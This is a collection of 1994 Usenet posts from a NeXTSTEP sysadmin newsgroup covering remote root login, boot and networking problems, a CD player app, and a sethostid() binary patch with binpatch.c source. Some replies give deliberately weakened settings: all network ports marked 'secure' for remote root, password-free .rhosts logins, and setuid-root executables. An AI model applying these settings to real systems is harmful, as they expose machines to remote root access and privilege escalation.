> the .rhosts file must be owned by either the remote user or
> root.
This will still prevent root from logging in over the network. If the
.rhosts or hosts.equiv is setup then root is able to "rsh" but not
"rlogin" (under the default configuration - no network ports secure).
As Paul Lynch posted previously, you need to set all the network ports
to have the secure flag by editing /etc/ttytab. If you dont want to
reboot to have this immediately effective, you need to send init a
hangup signal afterwards (kill -HUP 1)
All the tty[pqrs]? lines in /etc/ttytab should look like this:
ttyp0 none network off secure
Needless to say, this ain't good for security .. but thats another
issue.
--Shumon.
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From: fabien@free.fdn.org (Fabien Roy)
Subject: Mounting SUN disk (read-only)
Message-ID: <1994Jan3.114504.19392@free.fdn.org>
Sender: news@free.fdn.org
Organization: Fabien Roy Electronic Engineering (F.R.E.E.) - Paris, France.
Date: Mon, 3 Jan 1994 11:45:04 GMT
For those who are interested:
To mount !!!read-only!!! a one partition SUN disk just type:
1) If it's a removable media /etc/mount -r /dev/sdXh /directory (X stand
for the volume number) then insert the disk when the WorkspaceManager asks
for. When finished, /etc/unmount /directory then /etc/disk -e /dev/rsdXh
to eject.
2) If it's a fixed disk, don't initialise the volume when you log-in, then
proceed as above.
--Fabien
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From: flight@mathi.uni-heidelberg.de (Gregor Hoffleit)
Subject: Change template user settings confortably ??
Message-ID: <1994Jan3.163906.22530@sun0.urz.uni-heidelberg.de>
Sender: news@sun0.urz.uni-heidelberg.de (NetNews)
Organization: University of Heidelberg, Germany
Date: Mon, 3 Jan 94 16:39:06 GMT
In /usr/template/user there's the template user enviroment for every new
user. Making a new .cshrc or .profile is no big deal, but how is it
possible to change for example the default application for .tex files ?
One could just create a new user named e.g. 'template' and give hime
/usr/template/user as home directory. Now you could log in as 'template'
and change anything as you like.
But the file owner is for anything in /usr/template/user is 'root' so I
fear there could be problems. Any better solutions ?
BTW: As I'm looking for a more sensible .cshrc/.login suite: Should I put
a 'setenv MANPATH...' in .cshrc or .login ? If I want history functions on
the arrow keys in the csh (as described in the FAQ), should I put the 'set
macrofile...; set editmode...' in the .cshrc before, between or after the
'if...endif' clause ?
Thank you,
Gregor
| Gregor Hoffleit admin MATHInet / contact HeidelNeXT |
| MAIL: Mathematisches Institut PHONE: (49)6221 56-5771 |
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From: corby@netcom.com (Corby Anderson)
Subject: Re: accessing man pages in /usr/local/man/man1
Message-ID: <corbyCJ2CnL.9wD@netcom.com>
Organization: Fight organized crime. Abolish the IRS.
References: <CJ1IAE.2Gw@number_one.apana.org.au>
Date: Mon, 3 Jan 1994 17:02:08 GMT
In article <CJ1IAE.2Gw@number_one.apana.org.au> nicolev@number_one.apana.org.au writes:
>I've installed the tcsh shell which came with its respective "man" pages
>and I put them into the /usr/local/man/man1 directory.
>
>Could someone please enlighten me on how to access these man pages using
>the man command as at the moment I just get the message:
Try installing the man pages in /usr/man/manl <-- that's a lowercase L.
If you need to have the files physically located at /usr/local/man, then
just make a symbolic link.
Corby
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From: thf@zelator.in-berlin.de (Thomas Funke)
Subject: Re: Screen Brightness not saved in defaults (3.2 - Motorola)
Message-ID: <1994Jan2.145124.1166@gamelan>
Sender: thomas@gamelan (thomas)
Organization: Disorganization
References: <2g2iqu$o4@runner.uucp>
Date: Sun, 2 Jan 1994 14:51:24 GMT
In article <2g2iqu$o4@runner.uucp> richard%runner.uucp@usc.edu (Richard
Ruth) writes:
>
> How do I save the screen brightness?
>
With Preferences.app.
--
------------------------------------------------------------------
Thomas Funke ** Unix-Consultant ** thf@zelator.in-berlin.de
Brooks's Law:
Adding manpower to a late software project makes it later
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From: glen@netcom.com (Steven Kornreich)
Subject: Transys PNI help?
Message-ID: <glenCJ2K50.7Ls@netcom.com>
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
Date: Mon, 3 Jan 1994 19:43:48 GMT
I've been running Transys PNI now for a month or so I can cannot figure out why I sometimes get a failed connection. Here is the output from "pnistat" when I get a bad slip connection..
eps:6# ./pnistat
Encapsulated Decapsulated
Type Encap state Bufs Bytes Bufs Bytes
PNI* pni phase2 1 64 0 0
SLIP* slip phase2 1 32 1 66
TTY* tty phase2 1 35 1 66
I don't actually understand what it all means but under THE PNI* Type under
Decapsulted, the Bufs and Bytes are not comming through.. My pni.log file shows no error messages during login process. Can someone shed some light on this..
THanks
Steve Kornreich
From: ivo@next.agsm.ucla.edu (Ivo Welch)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: more frequent "update"'s?
Date: 3 Jan 1994 20:03:14 GMT
Organization: UCLA Microcomputer Support Office
Message-ID: <2g9tm2$8u7@news.mic.ucla.edu>
References: <2g4ks2$4f0@news.mic.ucla.edu> <1994Jan2.043138.26455@csus.edu>
Thanks, Eric, for the information.
: This is just another example of how NeXT is driven by Marketing
: considerations (loosely correlated with increased profits) rather
: than The Pursuit of Technical Excellence. Graceful crash
: recovery isn't a priority; it's not something a sales weasel--or
: Steve in front of an audience of several thousand--wants to
: demonstrate to a customer*.
Actually, it doesn't take much brain to discover that one would be
hard-pressed to recommend NS to neophytes, because of its poor crash
recovery (and with it occasional hour-long rebuilds and data losses). Even
marketing should see that word-of-mouth is their most powerful sales device.
So, it is either misdirected priorities (new ports, new devices, new NS
features) or communal ignorance, or simply bureaucratic inertia that prevent
NS from adding more "save-my-butt" features.
I won't recommend NS/Intel to outsiders, until I experience a 3-month period
during which I do not have to rebuild my system.
Ivo Welch ivo@128.97.74.50 = next.agsm.ucla.edu
Asst Prof of Finance iwelch@agsm.ucla.edu
AGSM at UCLA
Newsgroups: comp.sys.next.sysadmin
From: paul@seer.demon.co.uk (Paul Lynch)
Subject: Re: Allowing remote root login
Message-ID: <1994Jan3.194203.4070@seer.demon.co.uk>
Sender: paul@seer.demon.co.uk
Organization: P & L Systems
References: <1994Jan3.043538.21481@hot.com>
Date: Mon, 3 Jan 1994 19:42:03 GMT
In article <1994Jan3.043538.21481@hot.com> Robert_La_Ferla@hot.com writes:
> Look at the UNIX manual for rlogin:
[chomp]
>
> In article <1994Jan2.221010.1405@seer.demon.co.uk>
> paul@seer.demon.co.uk (Paul Lynch) writes:
> > In article <1994Jan2.143713.148497@embl-heidelberg.de> writes:
> > > Does anyone know how to get around the no root login on NeXT
> machines I
> > would must rather have remote accees to root through a remote login
> or
> > telnet. I have to maintain my NeXT cluster from other machines
> normally
> > and in order to get in as root, I have to login first as me and
> then su in
> > as root. Is there a file I can change which will allow me to login
> as
> > root.
> >
> > It is a bit of a security exposure. If you are concerned about
> security,
> > then you should remove the me account on each machine from the
> wheel
> > group, as it is rather tempting.
> >
> > If you still want to login in directly as root, you might want to
> look at
> > the secure parameter that goes in /etc/ttys. It is always possible
> that
> > some other blocking is taking place, but I don't think so.
Robert
.rhosts is a very nice feature, but it doesn't allow you to enable root
logins. It allows you to login to that machine without a password, which
is a different matter altogether. The same applies to /etc/hoists.equiv,
BTW.
Paul
--
Paul Lynch
P & L Systems (NeXTmail) paul@seer.demon.co.uk
Tel: (0494)671501 9 Stable Lane, Seer Green,
Fax: (0494)680228 Bucks, HP9 2YT, UK
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
From: goofy!stephens (robert stephens)
Subject: UUCon - UUCP-ez Apps for NEXTSTEP 3.2 ?
Message-ID: <1994Jan3.171345.859@goofy.uucp>
Keywords: UUCon, UUCP-ez
Sender: stephens@goofy.uucp
Organization: Open Road
Date: Mon, 3 Jan 1994 17:13:45 GMT
I have used uucp-ez on NeXT hardware to configure the machine for uucp. It
worked ok with NEXTSTEP 3.0 but when I upgraded to NEXTSTEP 3.2, the UUCON
app doesn't see outgoing mail in queue.
I tried to re-install UUCP-ez and UUCON but that didn't help.
Does anyone know if there is an updated version for each of these apps for
NEXTSTEP 3.2 ?
Thanks,
Robert Stephens
stephens@netcom.com
Newsgroups: comp.sys.next.sysadmin
From: gunther@vulcan.rni.sub.org (Gunther Weber)
Subject: Re: TIP problems
Message-ID: <CJ0KIM.69@vulcan.rni.sub.org>
Sender: gunther@vulcan.rni.sub.org (Gunther Weber)
Organization: Vulcan Science Acadaemy
References: <2g4urs$g5k@access2.digex.net>
Date: Sun, 2 Jan 1994 17:56:46 GMT
In article <2g4urs$g5k@access2.digex.net> ouija@access2.digex.net (Mark E.
Harris) writes:
> The main one: the connection is established OK, and I get all
> of the text from the login shell just fine. I enter my user ID,
> press return, and the cursor goes to the next line just like it's
> supposed to. Then I enter my password, hit return, and the shell
> appears to wait forever, just as if I had never hit return.
I have the same problem. I have a NeXTStation and i am trying to log on to a
remote system (a 486 with Interactive). I get the connect-message, send the
dial string to the modem, the modem dials the number, i press return (i have to
do that on this system to get the login-message), enter my login-name, get the
password-message, enter my password, pres return but nothing happens (well
except that the TXD-Led on my modem flashes). Using another Terminal program
works fine, and doing the same on my Amiga with the same modem (ZyXEL) works as
well.
So I would be interessted, too, if there are any suggestions.
Live long and prosper!
Gunther H. Weber
--
Gunther H. Weber "Mr. Worf, all these Away missions; wind, dry air.
67574 Osthofen/GERMANY I'd really like to suggest you start using a
+49 (6242) 5486 conditioner." -Barber Mr. Mott
E-Mail: gunther@vulcan.rni.sub.org (NeXTMail accepted)
From: pyrros@pecan.cns.udel.edu (chrestos pyrros)
Newsgroups: comp.sys.next.sysadmin
Subject: sz/rz for tip under NS/Intel?
Date: 3 Jan 1994 21:43:47 GMT
Organization: University of Delaware, Newark
Distribution: world
Message-ID: <2ga3ij$o1m@louie.udel.edu>
I've searched the net to no end to find a copy of sz/rz **with the -1 option**
that will compile/is compiled for NS/Intel.
The sz/rz I found at the archives for NS/Intel doesn't support the -1 option,
so it doesn't work with tip, and as usual kermit gives very poor throughput.
Any pointers in this matter would be greatly appreciated!
Thank you,
Chris
From: bosborne@nature.BErkeley.EDU
Newsgroups: comp.sys.next.sysadmin
Subject: Boot problem
Date: 3 Jan 1994 23:01:08 -0500
Organization: The Ohio State University
Sender: root@magnus.acs.ohio-state.edu
Message-ID: <9401040401.AA00825@nature.Berkeley.EDU.cnr-net>
To the group,
I believe I messed something up a while back when I went to change the
number of buffers (which worked). Now when I boot (verbose mode) I see
the following :
<<some stuff>>
Booting from SCSI target 0 lun 0
diagnostics : not found
load failed
blk() boot :
And the boot stops there, so I do command-~, which brings up:
NeXT>
So I type "b" and return and the machine (black) boots normally.
How can I fix this so the boot process is continuous from the time
I hit the Power Key? My startup disk is an external BTW.
Thank you for your attention to this matter,
Brian O.
bosborne@nature.berkeley.edu
Newsgroups: comp.sys.next.sysadmin
From: jmack@skye.phys.ualberta.ca
Subject: Re: Boot problem
Message-ID: <1994Jan4.050013.9478@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
References: <9401040401.AA00825@nature.Berkeley.EDU.cnr-net>
Date: Tue, 4 Jan 1994 05:00:13 GMT
In article <9401040401.AA00825@nature.Berkeley.EDU.cnr-net>
bosborne@nature.BErkeley.EDU writes:
>
> To the group,
> I believe I messed something up a while back when I went to change the
> number of buffers (which worked). Now when I boot (verbose mode) I see
> the following :
>
> <<some stuff>>
> Booting from SCSI target 0 lun 0
> diagnostics : not found
> load failed
Have you checked the monitor boot params to disable the diagnostic?
It is, I think meant strictly for NeXT Inc inhouse procedures (with
their diagnostic boot). Set it to 'n'.
--
James S. MacKinnon Office: P-139 Avahd-Bhatia Physics Lab
Computing/Networking Phone : (403) 492-8226
Department of Physics email : jmack@phys.ualberta.ca
University of Alberta uucp : uofaphys!jmack iskye!jmack
Edmonton, Canada T6G 2N5 bitnet: jmack@triumfcl jsm1@ualtamts
Newsgroups: comp.sys.next.sysadmin
From: steve@eps.RAIN.COM (Steve Kornreich)
Subject: Load video driver without reboot??
Sender: news@percy.rain.com (Jeff Beadles)
Organization: /etc/organization
Date: Tue, 4 Jan 1994 05:25:08 GMT
Message-ID: <CJ3B1x.M4w@percy.rain.com>
Is it possible to load a different video driver without actually
restarting NSFIP?? ie.. switch from 1024x768 32bit to whatever..
--
Steve Kornreich
steve@eps.rain.com
NeXT Mail OK..
Newsgroups: comp.sys.next.sysadmin
From: meyergru@Informatik.TU-Muenchen.DE (Uwe Meyer-Gruhl)
Subject: sethostid() patch for NS 3.2 (black)
Keywords: NS 3.2, sethostid(), patching, binaries
Followup-To: comp.sys.next.sysadmin
Originator: meyergru@hpradigc.informatik.tu-muenchen.de
Sender: news@Informatik.TU-Muenchen.DE (USENET Newssystem)
Organization: Technische Universitaet Muenchen, Germany
Date: Tue, 4 Jan 1994 09:13:08 GMT
Message-ID: <1994Jan4.091308.4206@Informatik.TU-Muenchen.DE>
Hi Folks,
here it is again, the ultimate patch for NeXTSTEP 3.2 (black) /sdmach
for enabling the infamous sethostid() function. The first two lines handle
another thing that is important for me: They shorten the waiting period for
drives becoming ready to about 4 seconds instead of 20. Since I have both a
CDROM and a MOD, I usually had to wait for at least 40 seconds just for
the drives to time out.
--
526202 23 3
526234 23 3
670630 0 1
670635 123 101
670636 144 60
--
For those of you who _still_ lack binpatch.c:
--
/*
* binpatch.c - apply output of "cmp -l" to patch a binary file
*
* This simple program takes the output from "cmp -l" and applies it as a set
* of patches to a given input file. The input file itself is modified and no
* backup file is created. Thus if a backup of the original is desired (highly
* recommended), create it before using binpatch. An example of its use
* follows:
*
* Assume that you have the file "lpd.diff" that resulted from:
* % cmp -l lpd.broken lpd.fixed > lpd.diff
*
* Now do the following to apply the patch:
* % cp -p lpd lpd.broken
* % binpatch -f lpd.diff lpd
*
* lpd will now be identical to lpd.fixed. This is of course useful when you
* have only the original and the diff file and wish to recreate the patched
* version.
*
* Compile using: cc -O -Wall -o binpatch binpatch.c
*
* Copyright (C) 1991 by Marc Ullman
* All Rights Reserved
* December 16, 1991
*/
static char rcsid[] = "$Header: /local/src/tools/binpatch/RCS/binpatch.c,v 1.1
91/12/16 12:05:50 marc Exp $";
#include <stdio.h>
#include <stdarg.h>
#include <stdlib.h>
#define ARGUMENTS "-f diff_file input_file\n" \
" The diff_file is created by \"cmp -l orig.file
modified.file > diff.file\""
static char *program_name = NULL;
static char *input_file_name = NULL;
static char *diff_file_name = NULL;
/* Print error message while exiting due to unrecoverable error */
/* Use variable argument list to support multiple arguments to printf */
static void Error_Exit(char *error_msg, ...)
{
va_list ap;
va_start(ap, error_msg);
fprintf(stderr, "%s: ", program_name);
vfprintf(stderr, error_msg, ap);
va_end(ap);
exit(1);
}
static void Usage()
{
fprintf(stderr, "Usage: %s %s\n", program_name, ARGUMENTS);
exit(1);
}
static void Process_Arguments(int argc, char *argv[])
{
int i;
for (i = 1; i <= (argc - 1); i++) {
if (*argv[i] == '-') {
switch (*(argv[i]+1)) {
case 'f' : /* diff_file */
if (i < (argc - 1)) {
diff_file_name = argv[++i];
} else {
Usage();
}
break;
default :
Error_Exit("invalid option '-%c'\n", *(argv[i]+1));
break;
}
} else {
input_file_name = argv[i];
}
}
/* Check that we got diff_file and input file */
if ((input_file_name == NULL) || (diff_file_name == NULL)) {
Usage();
}
}
void error_exit(FILE *diff_file, FILE *input_file)
{
fclose(diff_file);
fclose(input_file);
exit(EXIT_FAILURE);
}
void main(int argc, char *argv[])
{
FILE *diff_file;
FILE *input_file;
int count = 0;
unsigned long offset;
unsigned int c1, c2, c;
program_name = argv[0];
Process_Arguments(argc, argv);
if ((diff_file = fopen(diff_file_name, "r")) == NULL) {
Error_Exit("can't read %s\n", diff_file_name);
}
if ((input_file = fopen(input_file_name, "r+")) == NULL) {
Error_Exit("can't read %s\n", input_file_name);
}
do {
count = fscanf(diff_file, "%lu %o %o", &offset, &c1, &c2);
if (count == EOF) {
break;
} else if (count != 3) {
printf("Error reading %s\n", diff_file_name);
error_exit(diff_file, input_file);
}
offset--; /* cmp -l returns base 1 offsets */
#ifdef DEBUG
printf("%.8x %.2x %.2x\n", offset, c1, c2);
#endif
if (fseek(input_file, offset, SEEK_SET) != 0) {
printf("Error seeking in %s\n", input_file_name);
error_exit(diff_file, input_file);
}
c = fgetc(input_file);
if (c1 != c) {
printf("Patch file differs from input file at offset %.8x: %.2x
%.2x\n",
offset, c, c1);
} else {
fseek(input_file, offset, SEEK_SET);
fputc(c2, input_file);
}
} while (feof(diff_file) == 0);
fclose(diff_file);
fclose(input_file);
exit(EXIT_SUCCESS);
}
--
Remember, nothing is guaranteed, and DO make backups before you start patching!
cheers, Uwe
Uwe Meyer-Gruhl "And if I die today I'll be the happy phantom
Lehrstuhl Informatik IX and I'll go chasing nuns out in the yard" (TA)
Technische Universitaet Muenchen email:MeyerGru@Informatik.TU-Muenchen.DE
Orleansstr. 34, D-81667 Muenchen tel: ++49 89 48095-209
Newsgroups: comp.sys.next.sysadmin
From: mhamrick@dallas.bozell.com(Matt Hamrick)
Subject: Re: Connecting a NeXT (black) to a PC
Message-ID: <1994Jan3.044059.24544@bozell.com>
Sender: news@bozell.com
Organization: Bozell, Jacobs, Kenyon & Eckhardt, Inc.
References: <2f0fi0$q4l@nermal.cs.uoguelph.ca>
Date: Mon, 3 Jan 1994 04:40:59 GMT
In article <2f0fi0$q4l@nermal.cs.uoguelph.ca>
rcytowsk@herman.cs.uoguelph.ca (Robert Cytowski) writes:
->
-> Hello,
-> I would like to connect my NeXTstation (black hardware running NS 3.1)
to
-> my 386 PC,
-> What type of connection could I make to achieve this? What kind of
cabling?
-> Hardware?
I've been contending with the same issues here at work, and I thought I'd
share my experiences. 1) For about 4 bucks you can solder together your
own null modem cable. Go into the SysAdmin bookshelf of NextLibrarian and
search for 'serial'. You should be able to find a good description of the
pin outs. 2) As far as file transfer software goes, I'd recommend the NeXT
version of kermit (available from sonata.cc.purdue.edu) on the NeXT side,
and telix (PD terminal emulator for DOS) or procomm or whatever on the PC
side. I'd really have to recommend that you stay away from MicroPhone Pro
for NeXT until they get the bugs out of it.
--
Matthew S. Hamrick | "Though this be madness, yet there is method in't."
mhamrick@bozell.com | -Shakespeare, Hamlet Act 2, Scene 2
Temerlin McClain |
Dallas, Texas | NeXT Mail Capable
Newsgroups: comp.sys.next.sysadmin
From: mhamrick@dallas.bozell.com(Matt Hamrick)
Subject: Re: CDPlayer App
Message-ID: <1994Jan4.043418.3185@bozell.com>
Sender: news@bozell.com
Organization: Bozell, Jacobs, Kenyon & Eckhardt, Inc.
References: <CIG906.Jtu@cbnewsj.cb.att.com>
Date: Tue, 4 Jan 1994 04:34:18 GMT
In article <CIG906.Jtu@cbnewsj.cb.att.com> herbst@cbnewsj.cb.att.com
(robert.s.herbst) writes:
-> Hi,
-> I read a few contradicting articles regarding whether or not
-> the CDplayer.app is included with 3.2/Motorola. I installed 3.2
-> User & Developer on my NeXTstation last night, I do not see it
-> anywhere.
->
I found it in /NEXTSTEP_3.2/NextDeveloper/Demos. However, it doesn't seem
to be very usable since I can't find the audio cdrom filesystem that's
supposed to go in /usr/filesystems. Anyone know where I can get a copy of
this?
--
Matthew S. Hamrick | We reboot more machines before breakfast than most
mhamrick@bozell.com | sysadmins reboot all day.
Temerlin McClain |
Dallas, Texas | NeXT Mail Capable
From: A4422DAE@AWIUNI11.EDVZ.UniVie.AC.AT (Konrad Neuwirth)
Newsgroups: comp.sys.next.sysadmin
Subject: HELP| Serious Netinfo Problem|
Date: Tue, 04 Jan 94 14:37:01 MEZ
Organization: Vienna University Computer Center (VUCC)
Message-ID: <16F34CD8D.A4422DAE@AWIUNI11.EDVZ.UniVie.AC.AT>
Hello everyone,
I have a serious NetInfo problem. Because of my stupidity, I wrote
a wrong machine into the / / master field. That means that I now cannot
change my NetInfo's root domain information (which I need to, as I have
some password changes etc). Unfortunately, I have not got a clue on how
I could change that. I even tried removing the database, but then the
netinfod doesn't load, so I see no way of getting the correct information
to load. I have tried some stuff (I have had that problem for a while
now) but no avail. I simply do not know how to do that stuff| The question
is: how can I get the correct information into my root domains master field.
BTW: I do have a flat-file copy of the database for safety reasons, thank
you. And no, I do not have a backup of the NetInfo files from back when
that change hadn't happened yet. I did that change long ago but only recently
(or not so recently) noted it.
Please help,
//konrad
Newsgroups: comp.sys.next.sysadmin
From: fabien@free.fdn.org (Fabien Roy)
Subject: Re: more frequent "update"'s?
Message-ID: <1994Jan4.094322.21973@free.fdn.org>
Sender: news@free.fdn.org
Organization: Fabien Roy Electronic Engineering (F.R.E.E.) - Paris, France.
References: <2g9tm2$8u7@news.mic.ucla.edu>
Date: Tue, 4 Jan 1994 09:43:22 GMT
In article <2g9tm2$8u7@news.mic.ucla.edu> ivo@next.agsm.ucla.edu (Ivo
Welch) writes:
> Thanks, Eric, for the information.
>
> : This is just another example of how NeXT is driven by Marketing
> : considerations (loosely correlated with increased profits) rather
> : than The Pursuit of Technical Excellence. Graceful crash
> : recovery isn't a priority; it's not something a sales weasel--or
> : Steve in front of an audience of several thousand--wants to
> : demonstrate to a customer*.
>
> Actually, it doesn't take much brain to discover that one would
be
> hard-pressed to recommend NS to neophytes, because of its poor
crash
> recovery (and with it occasional hour-long rebuilds and data losses).
Even
> marketing should see that word-of-mouth is their most powerful sales
device.
>
> So, it is either misdirected priorities (new ports, new devices, new
NS
> features) or communal ignorance, or simply bureaucratic inertia that
prevent
> NS from adding more "save-my-butt" features.
>
> I won't recommend NS/Intel to outsiders, until I experience a 3-month
period
> during which I do not have to rebuild my system.
>
> Ivo Welch ivo@128.97.74.50 = next.agsm.ucla.edu
> Asst Prof of Finance iwelch@agsm.ucla.edu
> AGSM at UCLA
Since I upgraded from 3.0 to 3.1 my Sybase Cube Server has been up for 87
days and before the upgrade it was up for at least 1 year!
fabien@free> rsh serveur hostinfo
Mach kernel version:
NeXT Mach 3.1: Fri Apr 30 08:31:15 PDT 1993;
root(rcbuilder):mk-149.22.3.obj~2/RC_m68k/RELEASE_M68K
Kernel configured for a single processor only.
1 processor is physically available.
Processor type: MC680x0 (68040)
Processor speed: 25 MHz
Processor active: 0
System type: 2
Board revision: 0x0
Primary memory available: 40.00 megabytes.
Default processor set: 58 tasks, 101 threads, 1 processors
Load average: 0.99, Mach factor: 0.55
fabien@free> rsh serveur uptime
10:39am up 87 days, 22:11, 1 user, load average: 0.74, 0.64, 0.55
--Fabien
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Fabien_Roy@free.fdn.org (NextMails accepted)
Fabien Roy Electronic Engineering
3 rue ANDRE DANJON, 75019 PARIS, France,
Tel: 33 1 4040 0206 Fax: 33 1 4040 0641
From: matthewm@sgate.com (Mike Matthews)
Newsgroups: comp.sys.next.sysadmin
Subject: CSLIP 920904 "No buffer space available" ??
Date: 4 Jan 1994 08:24:55 -0500
Organization: Collins International Services Company
Message-ID: <2gbqn7$ch@sgate.com>
Does anyone know any solid causes for the aforementioned error message ("No
buffer space available"?). I got that today (well, started last night).
What's odd is that mail and news seemed to work fine, gopher did NOT, and
ping was what got the error message. Does the ICMP layer use a different
buffer than TCP/IP or something?
I also got a 'No namelist' error when I tried to 'w', so the system was
definitely confused. It was up for less than 24 hours due to a crash
yesterday.
I'm just wondering if it's some configuration option. We're running NEXTSTEP
3.0 (will be upgraded to 3.2 once NeXT gives us 3.2 Developer for black
hardware) on an 040 Cube.
------
Mike Matthews, Mike_Matthews@sgate.com (NeXTmail accepted)
------
Even if you can deceive people about a product through misleading statements,
sooner or later the product will speak for itself.
- Hajime Karatsu
Newsgroups: comp.sys.next.sysadmin
From: dhowland@gpu.srv.ualberta.ca (Deborah Howland)
Subject: Re: CDPlayer App
Message-ID: <dhowland.757695020@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
References: <CIG906.Jtu@cbnewsj.cb.att.com> <1994Jan4.043418.3185@bozell.com>
Date: Tue, 4 Jan 1994 14:50:20 GMT
mhamrick@dallas.bozell.com(Matt Hamrick) writes:
>In article <CIG906.Jtu@cbnewsj.cb.att.com> herbst@cbnewsj.cb.att.com
>(robert.s.herbst) writes:
>-> Hi,
>-> I read a few contradicting articles regarding whether or not
>-> the CDplayer.app is included with 3.2/Motorola. I installed 3.2
>-> User & Developer on my NeXTstation last night, I do not see it
>-> anywhere.
>->
>I found it in /NEXTSTEP_3.2/NextDeveloper/Demos. However, it doesn't seem
>to be very usable since I can't find the audio cdrom filesystem that's
>supposed to go in /usr/filesystems. Anyone know where I can get a copy of
>this?
I experienced the same thing last night. Try your NEXTSTEP 3.2 User
CD, in usr/filesystems. For some reason the installation procedure
doesn't install cdaudio.fs, but it's there.
As root, copy it into /usr/filesystems. You may also need to do a
chmod u+s on the .util file inside cdaudio.fs. I saw that all the
other .utils in the other filesystems were setuid, and so made
cdaudio the same.
I also had to make the CDPlayer executable itself setuid, or
CDPlayer.app complained that it couldn't open the CD-ROM device. This
setup works for me.
Newsgroups: comp.sys.next.sysadmin
Subject: A3 tray postscript commands
Message-ID: <1994Jan4.170715.149471@embl-heidelberg.de>
From: grindrod@eagle.NMR.EMBL-Heidelberg.DE (David Grindrod)
Date: 4 Jan 94 17:07:14 +0100
Distribution: world
Organization: European Molecular Biology Laboratory
Hi,
I have a problem with sending colour A3 postscript files to our kodak
printer/photocopier. Although I can generate the A3 files ok, what I
have problems with is sending the file to the correct tray on the
printer. The default one is the A4 tray. The A3 tray is the lower tray.
I use the AppleLaserwriter IIf filter for the postscript, but there is
no way to specify the optional tray. What I would really like is a
postscript command that I can insert at the top or the bottom of the
postscript file that specifies the lower tray for an Kodak printer.
Also is there a filter that allows the user to specify an optional
tray. I know it is possible to send A3 postscript files through the
mac to the kodak, but I feel I must be able to send it from a unix
machine too. I am no expert in the postscript language so I would appreciate some help if possible.
Thanks for any help in advance
Dave
----------------------------------------------------------------------
David Grindrod NMR System Manager
EMBL, Heidelberg.
Email: grindrod@EMBL-Heidelberg.DE
From: doko@cs.tu-berlin.de (Matthias Klose)
Newsgroups: comp.sys.next.sysadmin
Subject: Webster Dictionary
Date: 04 Jan 1994 20:43:30 GMT
Organization: TU Berlin Fachbereich Informatik
Message-ID: <2gckdl$stf@news.cs.tu-berlin.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Is the CompactDictionary in /NextLibrary/References/Webster a subset
of Disctionary in the same directory, so that I can remove it, if I
have 'Dictionary' installed?
Thanks, Matthias
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa)
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin,comp.sys.next.misc
Subject: Does "halt" really halt CPU on Intel ?
Date: 4 Jan 1994 20:47:37 GMT
Organization: University of California, Berkeley
Distribution: world
Message-ID: <2gckl9$517@agate.berkeley.edu>
Keywords: Dead keyboard after halt on Intel
When you do "halt" as root on NS for Intel machines,
it appears that keyboard becomes totally dead. Is this true?
We have EPSON NX and this puppy does not have a RESET button
unlike most PCs. To reboot from this state, I have to power
cycle the machine which I would like to avoid.
On black hardware "halt" puts you into the ROM Monitor from
which you could reboot/power down/etc...
Couldn't NeXT have put a little program that at least waited
for CTL-ALT-DEL to put the execution back to the boot
sequence?
I know that keyboard driver gets loaded after kernel is
up, and halting the kernel also wipes the NS keyboard driver,
but they could reset the CPU into real mode and use ROM BIOS
driver for this.
Am I missing something?
--
Izumi Ohzawa [ $@Bg_78^=;(J ]
USMail: University of California, 360 Minor Hall, Berkeley, CA 94720
Telephone: (510) 642-6440 Fax: (510) 642-3323
Internet: izumi@pinoko.berkeley.edu (NeXTMail OK)
From: joe@retina.anatomy.upenn.edu (Joe Panico)
Newsgroups: comp.sys.next.sysadmin
Subject: Reliability of network adapters for NSI 3.2?
Date: 4 Jan 1994 20:58:25 GMT
Organization: Dept. of Neuroscience, U. of Pennsylvania
Distribution: world
Message-ID: <2gcl9h$bt8@netnews.upenn.edu>
Hi,
I'm looking for any comments/criticisms/dirt on the LAN adapters fro
NSI 3.2. The 3COM EtherLink IIK is the only EISA adapter listed in
the hardware compatability guide. Does this mean that it is the fastest?
Someone told me that they had experienced "bugs" with all the adapters
except intel EtherExpress 16. Can anyone else comment on the reliability
of the network cards they are using. The network I'm assembling is for
mission critical apps, and we could not afford ANY bugs in the LAN
adapters/drivers. Any comments much appreciated. Thanks.
Joe Panico
joe@retina.anatomy.upenn.edu
From: kline@CS.Arizona.EDU (Nick Kline)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software
Subject: running a network on an intel without ethernet
Followup-To: comp.sys.next.sysadmin
Date: 4 Jan 1994 14:59:05 -0700
Organization: University of Arizona CS Department, Tucson AZ
Message-ID: <2gcor9$d27@cheltenham.cs.arizona.edu>
I have an intel machine running ns/fip 3.2. I want to set up my
machine to run ppp or slip. I don't have an ethernet card. (I don't
think ppp is currently available for ns/fip but I was considering
working on it). How do I configure the machine to be on a network?
As a first step, I thought I would run the simple network starter or
hostmanager and configure my ip address etc.
I ran hostmanager and configured things and when I went to reboot it
hung when configuring devices. It seemed that somehow it was looking
for a network and couldn't find it (I fixed this by copying the
original netinfo files over). I tried SNS and when it was ready to
configure my machine it said "attach network to machine" and click
okay. I had no network so I just clicked okay anyway. It couldn't
find a network (obviously). It said it would hang the machine if I
didn't back out, so I did back out.
Do I need to already have added ppp or slip before enabeling my
machine to be on a network? I use uucp right now on my next cube and
(on the cube) I changed the hostname and that all works well. I wanted
to change the hostname on the intel machine so that uucp's hostname
would be the right one. Since I can't change the hostname of the
machine, I suppose I can change the uucphostname, which if I remember
is some way to tell uucp to report a different name when it tells the
other side it's name.
So, to summarize, do I need to install ppp or slip before setting my machine
to be on a network using the sys admin tools on ns/fip?
thanks,
nick
From: gad@eclipse.its.rpi.edu (Garance A. Drosehn)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Webster Dictionary
Date: 4 Jan 1994 22:42:10 GMT
Organization: Rensselaer Polytechnic Institute, Troy NY, USA
Distribution: world
Message-ID: <2gcrc5$7t6@usenet.rpi.edu>
References: <2gckdl$stf@news.cs.tu-berlin.de>
doko@cs.tu-berlin.de (Matthias Klose) writes:
> Is the CompactDictionary in /NextLibrary/References/Webster a subset
